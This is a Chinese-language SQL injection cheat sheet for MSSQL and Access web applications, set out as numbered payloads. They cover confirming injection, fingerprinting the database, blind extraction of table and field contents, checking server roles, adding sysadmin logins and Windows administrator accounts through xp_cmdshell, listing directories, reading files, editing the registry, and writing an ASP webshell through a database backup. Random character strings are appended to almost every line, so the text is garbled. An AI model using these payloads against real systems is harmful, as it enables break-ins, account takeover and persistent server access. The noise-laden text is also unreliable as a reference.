1.判断是否有注入;and 1=1 ;and 1=2 qvt~wJf<
2.初步判断是否是mssql ;and user>0 6zDJdE'Es
FVSz[n
3.注入参数是字符'and [查询条件] and ''=' _W!g'HP-D
qBpY3]/
4.搜索时没过滤参数的'and [查询条件] and '%25'=' S<>e(x3g]
bH=5[
5.判断数据库系统 `$i`i 'S
)jH"6my_
;and (select count(*) from sysobjects)>0 mssql XJQ[aU"[]N
+EpT)FJX
;and (select count(*) from msysobjects)>0 access J#D!J8KP7
|e9}G,1
h?TE$&CL?
YZoudX'"
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Q!"Li
nc3 1X
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 'rg$%M*(
9<Bf5d
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 S`R
( _eD@
v/^2K,[0>
9.(1)猜字段的ascii值(access) y /PEm)=Tt
@^P=jXi<
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Z^h4%o-l{
$zdJ\UX
(2)猜字段的ascii值(mssql) >g F
$EtZ5?qS
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ;~@2YPj
X-ml0
=M[
10.测试权限结构(mssql) Qn<<&i~
vI+PL(T@
0nl)0|?Az
#v`G4d
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- O" z=+79q
;bZ)q
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- J|I|3h<T
?d_Cy\G
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- v5*SoUOF
1.';:/~(
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ;[6u79;I
Bg#NB
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- VE GUhI/d
7f`jl/
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- O|OPdD
& XrV[d[>
;and 1=(select IS_MEMBER('db_owner'));-- 5%W3&F6%
P= ]ZXj[
E-Mp|y /V
)ei+ewVZ
11.添加mssql和系统的帐户 *|4~
0w
K_My4>~Il
;exec master.dbo.sp_addlogin username;-- +)V6"XY-(
;exec master.dbo.sp_password null,username,password;-- 3w0m:~KS6V
G q:7d]c~T
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ^ i\zMMR
sd=i!r)ya
;exec master.dbo.xp_cmdshell 'net user username password gz$=\=%>RL
yP"_j&ef7
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- is`a_{5e=
?$o8=h
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Cd(Ov5%
Nl(Aa5:!
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- c
shZR(b
$D45X<
; id
(57x5qP
X
12.(1)遍历目录 `HHbQXB
fygy#&}~
;create table dirs(paths varchar(100), id int) - BocWq\
%i^%D
;insert dirs exec master.dbo.xp_dirtree 'c:\' htkyywv
7u!p.kN
;and (select top 1 paths from dirs)>0 t%=ylEPW
*rqih_j0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) )\s:.<?EQ
9t)t-t#P;
@4&sL] (q
.Oim7JQ8
(2)遍历目录 sGzd c
"7gHn0e>
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- cW3;5
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 .*y{[."!
yCQpqh
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Qs4Jl ;Y _
zg^5cHP\
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 >w
V$az
>u6kT\|^C
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 iedoL0#
:qnRiK]
{wd.aUB
i/WYjo
13.mssql中的存储过程 D'</eJ
WLizgVM
xp_regenumvalues 注册表根键, 子键 4S9AXE6
`
a@NYi6
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 6v.*%E*P
{9)LHX7dN
xp_regread 根键,子键,键值名 B\4SB
@jjp\ ~
;exec xp_regread wCkkfTO
&yYK%~}t[
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 id*UTY
Tg
^&.F!
xp_regwrite 根键,子键, 值名, 值类型, 值 4}l,|7_&I
2O4UytN
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 esxU44
e+2!)w)[
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 J]Y." hi
6KV&E8Gn
xp_regdeletevalue 根键,子键,值名 (?~F}u
v
cU*7E39
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ogPxj KSI
IU3OI:uq
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 /Bb\jvk-E
gBresHrlH
_hXadLt
\24neD4cM@
14.mssql的backup创建webshell Yr[1-Oy/k
t6j(9[gGq
use model hNP|
m,8A2;&,8
create table cmd(str image); WT!%FQ9
:pOX,
insert into cmd(str) values (''); F!.@1Fi1
om@` NW
backup database model to disk='c:\l.asp'; @aBZ|8
A87Tyk2Pi
:y]l`Mo -
"WK.sBFz4
15.mssql内置函数 0;V2>!
U4Qc$&j>
;and (select @@version)>0 获得Windows的版本号 sHAzg^n}r
"< [D1E\
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Tqm9><!r
M a_! 1Y
;and (select user_name())>0 爆当前系统的连接用户 ^@jOS{f l
Oq|pd7fcgm
;and (select db_name())>0 得到当前连接的数据库 cITQ,ah
CK.Z-_M
K\o!
hcM 0?=
16.简洁的webshell oz@yF)/Sm
h/PWi<R
i
use model #XNe4#
T|oz_c\e
create table cmd(str image); "i9$w\lm
{T=I~#LjMI
insert into cmd(str) values (''); 7CNEP2}:R
]%G[<zD,1
backup database model to disk='g:\wwwtest\l.asp';